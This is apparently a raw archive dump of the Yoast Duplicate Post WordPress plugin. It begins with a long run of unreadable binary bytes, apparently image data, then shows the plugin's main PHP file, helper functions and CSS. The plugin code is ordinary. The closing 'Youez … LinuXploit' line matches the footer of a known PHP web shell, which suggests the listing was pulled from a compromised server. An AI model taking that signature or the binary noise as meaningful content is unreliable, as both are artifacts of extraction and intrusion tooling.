�S+ȚP���P{��罕���cp{7f$�	���_*��$2>�'�a��i�^��t�J��F�f�B%"e��_>��zگ��
i�عa�=�t�S��gfby�9/��K�"��-��Ob-��Ҹag?�S�[��5�����%(]4���B߃oP�0��a[~x0����{�u#`���r��F�G�����������F9
/n��^������h\��O\�XL����	Cmn�eK}:׎�s_�^،vz������>B�M2.эTC4��kBJӤM��a�|G�^<�3�h~ef����]�Z:	d�]!
��L��
;+H2'����������-�=9��Q�������~9H=@ �`ڬR�ӫ��X��$���H�z��zhg�F���J��E���4m؉�t�7Ӵq7�W�FH�r\��l��@%]&,��������LX~!�|�#�����CltZ)��͡7��1S� ����!~�M�NX>�-�&�E%^��.h�z�����z���a�ճ{���X�!3d��*`�PH�.E~��=��FR
��#���#i���JM��&0l���;��uP�f��.�m�Dͮ�`zՀ�V�g�>�]�n�;���ۮ`�ne����BI�٠�e�U+��pat�m���h�8�f�4|���\>Ǜ7?�t���GE���w^̢��3#5C��r�)k-]<���r�v4��4��;;L��A7�$<>��+f��Gu�ޮ�ƅA�z��Ş���͑v�Zi������-����ᗶ��p7�`B8�q�N!{�8?�������hץ�ڋ�r�#ȮNv�و���]�Ry�\�Y�A붃�f#F�rsˠ��9�CK��O��RT];�%�������G�)�?�����pb	��(�8�$��R�hʀn�5�pH�w����z{π����=Յ@;��+g��aZ�`b���LKټ{�T�����tLTҡ�ع��d͈u�^��o���X�!��8�+Y�͏bز��aio L�+�_>�K��w<�q��7�l�($��{JL)���HYn��4z���3��9�"��9�TLi���ƾ'7�q����Gh�~�����Ť>�*m�$:��=CG��nJ�Ob�oej��݅:�,=����q9t7� �'W�_XK�̪~����Fu���3`�����>܂�F;.��|�W���K���í��� ����H:�d�8&�u�c��}T�
�pz���T.������S�:)O����H*Rb�&�Ͻ��
��h
yu��l#�,
/�f�÷��'f��1��~�Gv>�q&%��zք"���t7�`e��2�������
-���p���ʮg;7�S?7�d��9��F:4��N���
�˾�	�Y4�m�W��z7[����Z��鍔^2�@^h�	R�xʠ��5��8
�g�tT�̟�4
��f=s�~�'=j�:�}k1
�=�2�.���.&,�����^�{6��t�m䥻~L�Ϊa�Ex"�`7eQ#l�s�xv�r-�����a��C�����f�u�(��"e\�StaM��g��H%��5��T�Dք"&�o	���,��L�tɴ���]� L��Wv��g/x�+�$�q9�}�Ҵ�> =�eR����š��ɮ(W��vʗ�:づ]Ł߿ꭎ�7��쒩󳰲�\������?ƚ��z�_�7��Qos�{�0�3�Q<ok>��=��x[W�x�ߴr��
k��am�ȀI�;N���?�"��@��Wh�~:�	��מ ���Տ�Aŕz��߬h��r�M�Ƕ���0�EfЦ�ڹ�ϟ�\\�Տ݁��_����d#�Ӆj 7���$��9���,����֎g��иa'�|�	Z�ԣ\��h�x�D�b9��y�O�ƒ^��oY�e���*R��I* RV޶����ld�7�?��H�H.7��C�Wz5��^��5�����
��Q0����<}�r\�Ź\tϻ���?�q�.JO�:ef���(�	fs�>F��K��5Z�ԓ쌂�n�����J�Zo�"���E�v+vN��_��p+F�:���Z�g9�q���v!L���s�7�e��W�?�;;D�#J����k赗�8�8��iz�)ǥb�L�H0}�Ծ7��N#4.��붟�=�����JL�d����.A��!eKg�`�ɛX�V�޵���^|ʏ�۪�"����}��E۰s��r�8�@L��c_*�Zk�|hvV(�I�RCҴq7�o�Z�"���^1)=���Uvv�PI��V�eG�}R�t���f�(�UM��J�/�A�5s��|p3i�eK�tg�|�~<qR��]XM�e�9��u��ئ}�.��+�o=���8�q��Q�/�D���t����b��9S������ͧjż~%N��xbv������կ�${b4��F��*Zc-]4����"�p�\�)Ӌ0FBQ�{����̉s?W�U~�t���q�I�epd�v�X!�'�G����}M�H)/���W�1�&\R���#b�+OgP�r�X67��ڴ�<L˖�~�֯~�8��%)]<�����Ec��ܲF�@�~T��ȓ��dg��k���I�u��{3��XT^32=���8�澋f�P4�'�@Z��mǍ'h��f�Z1l'� oR���1�G�!
*����w�h�v���
X��/{�0*����
�e�|��e��r&��BP�x�����b��
r�,��m��"t�HY!e�NÉ%�Rrd�v��z=��n�e��0jғ(#��o���,���a-dТq�Nv<�F���LX>�[��՘�g�J��Q0�wpzĎu M�� ����+f��Ld�3 tJc-*�����axU�N<��E�ɪ(q���g�U\1�`a6:�]�a[T^;wD��c��}O����_��^�1���'���|����0N!�?g�Z�Q~���y��c�ׂE9$�b�ۻOYg����Nz�=�z�y�;.�{~��[c���h��/m�֊�d>^ko���/n��H+F���N0~�
gT�Vތ�>rS0�5��+�T6}�I�M��cA�-���I��0��v��'BJ��+���ҋ�R�{���c��W�q�=�&����7��n�V+Ҕt7��ҿ<B�z�H�dW���fQv�t��~�	���wk�!g�Ն^),�R炩����;��7|�ʫ�Pxa��T�c.��G��^b��6Ҿ�;+�M*�e�?��p����2,)N���_����Jnm����P~����Y������_�*��:ٕ�T��K�����	fcg�qcq�y����Ie��K����^hh���ܬ�k /2\�::@���K0�5�Oŷ�Pq.s?{�c�����ⱳ�}m�]��s��?o����^9�i\���z?=����J{��t�D���5d*��Y�F!����+S5H� \��~M)��+\V@ɂ:�~hYo��DJ�G
����r)L66|����	������֥�+�{�S���ͬ"���`Q��������^��G�a>Bd�w��'R��o4�5$ӕ���~���7�*/�x�D�E��o)��6U??�~$fP��}��]F�*�/?ϡ�?#���=����V��R�O����n��q������i�G9݌�@��=�ʑ�����}�݁�w�,{�oT8�-���������n������H����{�c{�ݮ[������L>S~D+r�r�qao�S�i���S;���}5�ѷ�ߞ՛2LR��ܞ�ڑo��8��}h������� J'0e��~��.6~W��;��L�׸H����`��Q�9u�}h���,�u���������+9�� ����j��4�Y�x'H2��
_e�ޏ�p;��1Ї�νud��ME�U�@�Y��r�c
O�x�}3����d���v����>e��e�m͏��ҝ8ԇ?��>�*
��݀e��p�Fa!4.ۏ�O�X�3n���	ܲ6���F:N�buz0h���z����<��D�f�#^{O����)�ZL}���P|�������Z����G�g-�82��`a�ˈx@�A0D`�8o�!��_�+���'��\����@/�ʹq�`ǟ�-�*E�$���H����=Ş֧0�A�,"b���[�	���F������?��2Bt��qi�w�Tp�?0�G�$���m�ZQ�w#�Y�i�|ɳ���[�v�۰��Ŝfz��4�����nS�!����.�w[yn��M62����0 Fa�|��7��P�o����3��_1�`ڭ����1���b!f�>�{?���\���v�z���ۣ3�3��n<I�;��9�<)��_��2�B7����X:��%W:=kvftҳjCX��%z�G���[X2k�Y����F�Z���M���*���k�6q�|�)��k���L�?k� ���'y�e5���5~T<��o$�zB��&Q��Kh������L����Q	�pi�ǰ�{Z�&꼓�kJ^�����;��.������&m��VI�;�1����Í[9|�U�0C��S;�gY�Ôf_���q ����j��V8N�˓x��o ޒ�J����U�]�FG�;X����$����L��#j���$F(AˆIl��Mt�Y���h��Iaw��Vqi��ŀ�s�LM��uS3�kg[��8�^�Y(���C�j�kǝ(�p}�3T��k�24��(�NI�`�3���]CˆI���S��@c
)����W�-�n��������3���L��t�&�8��W�)���Q�7������-RX��.��njPA`�t����Š���7���C��'�.%�˘S��n����|�c�7�I!�b�G�`Ho0�\�2p�(���e�ƌ�O�m�En$[=��EfQ�Ŝ��;�@[|mѝt&�M6��(�]h��F
s@��� �F�	TrE�R�{Mz�e4j�z*d�*�\_�7���,[y����}��X��}\ɕj܉R���+k~H~hꨟ^�L��&ӧ5h��F�G�	�N�����!B渱����}S��)¦���������2���.I7�ed�d¿3��}���8z?��S�<�*s��j�vbеv�<_ �$�vQ��9�턃[���X���k�br�XY�ی�a�=R4Z����9���\U���a�'u�J�X|>�w���'y�IG�Nh�R�%2a
���޴h��&5��Z�}R��rq>E���1��O�|�I��6��i�����G^�����线]�m�'U��8��rF [��L3�����|��V�J������=j��Iw��*Gw�d����,��K����0hY�&�le����.9MK��o	X!�����bT2��f�
o��ܴ6#c�0i6C���8HY��5���m������k���/��<��[�/�>�<C�q�b+[E���Gl#xkR���l��p}6���lC�T{wn@��Ҿr4��v���}�5Z�jσ���	'�ƒAp�y��g<�)�W�J�t�כ�����ax[��ד2��
h)bpK�ݷKi~�2�qI���:�~��e�I�x�[*�&Lq����F �j�۠G�b���1�)���y�z���/VZg���%�)���>������[b�Xj�r%�<)t�F����Q�?�>���Y~IEND�B`�duplicate-post.php000064400000006614151327062330010223 0ustar00<?php
/**
 * Duplicate Post plugin.
 *
 * @package Yoast\WP\Duplicate_Post
 * @since   0.1
 *
 * @wordpress-plugin
 * Plugin Name: Yoast Duplicate Post
 * Plugin URI:  https://yoast.com/wordpress/plugins/duplicate-post/
 * Description: The go-to tool for cloning posts and pages, including the powerful Rewrite & Republish feature.
 * Version:     4.4
 * Author:      Enrico Battocchi & Team Yoast
 * Author URI:  https://yoast.com
 * Text Domain: duplicate-post
 *
 * Copyright 2020 Yoast BV (email : info@yoast.com)
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
 */

use Yoast\WP\Duplicate_Post\Duplicate_Post;

if ( ! defined( 'ABSPATH' ) ) {
	exit();
}

if ( ! defined( 'DUPLICATE_POST_FILE' ) ) {
	define( 'DUPLICATE_POST_FILE', __FILE__ );
}

if ( ! defined( 'DUPLICATE_POST_PATH' ) ) {
	define( 'DUPLICATE_POST_PATH', plugin_dir_path( __FILE__ ) );
}

define( 'DUPLICATE_POST_CURRENT_VERSION', '4.4' );

$duplicate_post_autoload_file = DUPLICATE_POST_PATH . 'vendor/autoload.php';

if ( is_readable( $duplicate_post_autoload_file ) ) {
	require $duplicate_post_autoload_file;
}

if ( class_exists( Duplicate_Post::class ) ) {
	// Initialize the main autoloaded class.
	add_action( 'plugins_loaded', '__duplicate_post_main' );
}

/**
 * Loads the Duplicate Post main class.
 *
 * {@internal Function name change would be BC-break.}
 *
 * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
 * @phpcs:disable WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore
 * @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
 */
function __duplicate_post_main() {
	new Duplicate_Post();
}
// phpcs:enable

/**
 * Initialises the internationalisation domain.
 */
function duplicate_post_load_plugin_textdomain() {
	load_plugin_textdomain( 'duplicate-post', false, basename( __DIR__ ) . '/languages/' );
}
add_action( 'plugins_loaded', 'duplicate_post_load_plugin_textdomain' );

add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), 'duplicate_post_plugin_actions', 10 );

/**
 * Adds 'Settings' link to plugin entry in the Plugins list.
 *
 * @see 'plugin_action_links_$plugin_file'
 *
 * @param array $actions An array of plugin action links.
 * @return array
 */
function duplicate_post_plugin_actions( $actions ) {
	$settings_action = [
		'settings' => sprintf(
			'<a href="%1$s" %2$s>%3$s</a>',
			menu_page_url( 'duplicatepost', false ),
			'aria-label="' . __( 'Settings for Duplicate Post', 'duplicate-post' ) . '"',
			esc_html__( 'Settings', 'duplicate-post' )
		),
	];

	$actions = ( $settings_action + $actions );
	return $actions;
}

require_once DUPLICATE_POST_PATH . 'common-functions.php';

if ( is_admin() ) {
	include_once DUPLICATE_POST_PATH . 'admin-functions.php';
}
common-functions.php000064400000005742151327062330010565 0ustar00<?php
/**
 * Common functions.
 *
 * @package Yoast\WP\Duplicate_Post
 * @since   2.0
 */

use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\UI\Link_Builder;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Tests if post type is enabled to be copied.
 *
 * @param string $post_type The post type to check.
 * @return bool
 */
function duplicate_post_is_post_type_enabled( $post_type ) {
	$duplicate_post_types_enabled = get_option( 'duplicate_post_types_enabled', [ 'post', 'page' ] );
	if ( ! is_array( $duplicate_post_types_enabled ) ) {
		$duplicate_post_types_enabled = [ $duplicate_post_types_enabled ];
	}

	/** This filter is documented in src/permissions-helper.php */
	$duplicate_post_types_enabled = apply_filters( 'duplicate_post_enabled_post_types', $duplicate_post_types_enabled );
	return in_array( $post_type, $duplicate_post_types_enabled, true );
}

/**
 * Template tag to retrieve/display duplicate post link for post.
 *
 * @param int    $id      Optional. Post ID.
 * @param string $context Optional, default to display. How to write the '&', defaults to '&amp;'.
 * @param bool   $draft   Optional, default to true.
 * @return string
 */
function duplicate_post_get_clone_post_link( $id = 0, $context = 'display', $draft = true ) {
	$post = get_post( $id );
	if ( ! $post ) {
		return '';
	}

	$link_builder       = new Link_Builder();
	$permissions_helper = new Permissions_Helper();

	if ( ! $permissions_helper->should_links_be_displayed( $post ) ) {
		return '';
	}

	if ( $draft ) {
		return $link_builder->build_new_draft_link( $post, $context );
	}
	else {
		return $link_builder->build_clone_link( $post, $context );
	}
}

/**
 * Displays duplicate post link for post.
 *
 * @param string|null $link   Optional. Anchor text.
 * @param string      $before Optional. Display before edit link.
 * @param string      $after  Optional. Display after edit link.
 * @param int         $id     Optional. Post ID.
 */
function duplicate_post_clone_post_link( $link = null, $before = '', $after = '', $id = 0 ) {
	$post = get_post( $id );
	if ( ! $post ) {
		return;
	}

	$url = duplicate_post_get_clone_post_link( $post->ID );
	if ( ! $url ) {
		return;
	}

	if ( $link === null ) {
		$link = __( 'Copy to a new draft', 'duplicate-post' );
	}

	$link = '<a class="post-clone-link" href="' . esc_url( $url ) . '">' . esc_html( $link ) . '</a>';

	/**
	 * Filter on the clone link HTML.
	 *
	 * @param string $link The full HTML tag of the link.
	 * @param int    $ID   The ID of the post.
	 *
	 * @return string
	 */
	echo $before . apply_filters( 'duplicate_post_clone_post_link', $link, $post->ID ) . $after; // phpcs:ignore WordPress.Security.EscapeOutput
}

/**
 * Gets the original post.
 *
 * @param int|null $post   Optional. Post ID or Post object.
 * @param string   $output Optional, default is Object. Either OBJECT, ARRAY_A, or ARRAY_N.
 * @return mixed Post data.
 */
function duplicate_post_get_original( $post = null, $output = OBJECT ) {
	return Utils::get_original( $post, $output );
}
css/duplicate-post.css000064400000007400151327062330011006 0ustar00#wp-admin-bar-root-default>#wp-admin-bar-duplicate-post>.ab-item .ab-icon::before,
#wp-admin-bar-root-default>#wp-admin-bar-new-draft>.ab-item .ab-icon::before,
#wp-admin-bar-root-default>#wp-admin-bar-rewrite-republish>.ab-item .ab-icon::before{
	content:
		url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20' viewBox='0 0 20 20'><path d='M18.9 4.3c0.6 0 1.1 0.5 1.1 1.1v13.6c0 0.6-0.5 1.1-1.1 1.1h-10.7c-0.6 0-1.1-0.5-1.1-1.1v-3.2h-6.1c-0.6 0-1.1-0.5-1.1-1.1v-7.5c0-0.6 0.3-1.4 0.8-1.8l4.6-4.6c0.4-0.4 1.2-0.8 1.8-0.8h4.6c0.6 0 1.1 0.5 1.1 1.1v3.7c0.4-0.3 1-0.4 1.4-0.4h4.6zM12.9 6.7l-3.3 3.3h3.3v-3.3zM5.7 2.4l-3.3 3.3h3.3v-3.3zM7.9 9.6l3.5-3.5v-4.6h-4.3v4.6c0 0.6-0.5 1.1-1.1 1.1h-4.6v7.1h5.7v-2.9c0-0.6 0.3-1.4 0.8-1.8zM18.6 18.6v-12.9h-4.3v4.6c0 0.6-0.5 1.1-1.1 1.1h-4.6v7.1h10z' fill='rgba(240,245,250,.6)'/></svg>");
	top: 2px;
}

#wp-admin-bar-root-default>#wp-admin-bar-duplicate-post:hover>.ab-item .ab-icon::before,
#wp-admin-bar-root-default>#wp-admin-bar-new-draft:hover>.ab-item .ab-icon::before,
#wp-admin-bar-root-default>#wp-admin-bar-rewrite-republish:hover>.ab-item .ab-icon::before,
#wp-admin-bar-root-default>#wp-admin-bar-duplicate-post:focus>.ab-item .ab-icon::before,
#wp-admin-bar-root-default>#wp-admin-bar-new-draft:focus>.ab-item .ab-icon::before,
#wp-admin-bar-root-default>#wp-admin-bar-rewrite-republish:focus>.ab-item .ab-icon::before{
	content:
		url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20' viewBox='0 0 20 20'><path d='M18.9 4.3c0.6 0 1.1 0.5 1.1 1.1v13.6c0 0.6-0.5 1.1-1.1 1.1h-10.7c-0.6 0-1.1-0.5-1.1-1.1v-3.2h-6.1c-0.6 0-1.1-0.5-1.1-1.1v-7.5c0-0.6 0.3-1.4 0.8-1.8l4.6-4.6c0.4-0.4 1.2-0.8 1.8-0.8h4.6c0.6 0 1.1 0.5 1.1 1.1v3.7c0.4-0.3 1-0.4 1.4-0.4h4.6zM12.9 6.7l-3.3 3.3h3.3v-3.3zM5.7 2.4l-3.3 3.3h3.3v-3.3zM7.9 9.6l3.5-3.5v-4.6h-4.3v4.6c0 0.6-0.5 1.1-1.1 1.1h-4.6v7.1h5.7v-2.9c0-0.6 0.3-1.4 0.8-1.8zM18.6 18.6v-12.9h-4.3v4.6c0 0.6-0.5 1.1-1.1 1.1h-4.6v7.1h10z' fill='rgba(0, 185, 235, 1)'/></svg>");
}

/* Copy links in the classic editor. */
#duplicate-action {
	margin-bottom: 12px;
}

#rewrite-republish-action {
	margin-bottom: -2px;
}

#rewrite-republish-action + #delete-action {
	margin-top: 8px;
}

/* Copy links in the block editor. */
.components-button.dp-editor-post-copy-to-draft,
.components-button.dp-editor-post-rewrite-republish {
	margin-left: -6px;
	text-decoration: underline;
}

#check-changes-action  {
	padding: 6px 10px 8px;
}

@media screen and (max-width: 782px){
	#wp-admin-bar-root-default>#wp-admin-bar-duplicate-post,
	#wp-admin-bar-root-default>#wp-admin-bar-new-draft,
	#wp-admin-bar-root-default>#wp-admin-bar-rewrite-republish {
		display: block;
		position: static;
	}
	#wp-admin-bar-root-default>#wp-admin-bar-duplicate-post>.ab-item,
	#wp-admin-bar-root-default>#wp-admin-bar-new-draft>.ab-item,
	#wp-admin-bar-root-default>#wp-admin-bar-rewrite-republish>.ab-item {
		text-indent: 100%;
		white-space: nowrap;
		overflow: hidden;
		width: 52px;
		padding: 0;
		color: #999;
		position: static;
	}
	#wp-admin-bar-root-default>#wp-admin-bar-duplicate-post>.ab-item .ab-icon::before,
	#wp-admin-bar-root-default>#wp-admin-bar-new-draft>.ab-item .ab-icon::before,
	#wp-admin-bar-root-default>#wp-admin-bar-rewrite-republish>.ab-item .ab-icon::before {
		display: block;
		text-indent: 0;
		font: 400 32px/1 dashicons;
		speak: none;
		top: 0px;
		width: 52px;
		text-align: center;
		-webkit-font-smoothing: antialiased;
		-moz-osx-font-smoothing: grayscale;
	}
	#rewrite-republish-action + #delete-action {
		margin-top: 0;
	}
}

fieldset#duplicate_post_quick_edit_fieldset{
	clear: both;
}

fieldset#duplicate_post_quick_edit_fieldset label{
	display: inline;
	margin: 0;
	vertical-align: unset;
}

fieldset#duplicate_post_quick_edit_fieldset a{
	text-decoration: underline;
}
css/duplicate-post-options.css000064400000001500151327062330012472 0ustar00#duplicate_post_settings_form header.nav-tab-wrapper {
	margin: 22px 0 0 0;
}

#duplicate_post_settings_form header .nav-tab{
	cursor: pointer;
}

#duplicate_post_settings_form header .nav-tab:focus {
	color: #555;
	box-shadow: none;
	outline: 1px dotted #000000;
}

.no-js #duplicate_post_settings_form header.nav-tab-wrapper {
	display: none;
}

.no-js #duplicate_post_settings_form section {
	border-top: 1px dashed #aaa;
	margin-top: 22px;
	padding-top: 22px;
}

.no-js #duplicate_post_settings_form section:first-of-type {
	margin: 0;
	padding: 0;
	border: 0;
}

.no-js #duplicate_post_settings_form section[hidden] {
	display: block;
}

#duplicate_post_settings_form label.taxonomy_private {
	font-style: italic;
}

#duplicate_post_settings_form .toggle-private-taxonomies.button-link {
	font-size: small;
	margin-top: 1em;
}

Youez - 2016 - github.com/yon3zu
LinuXploit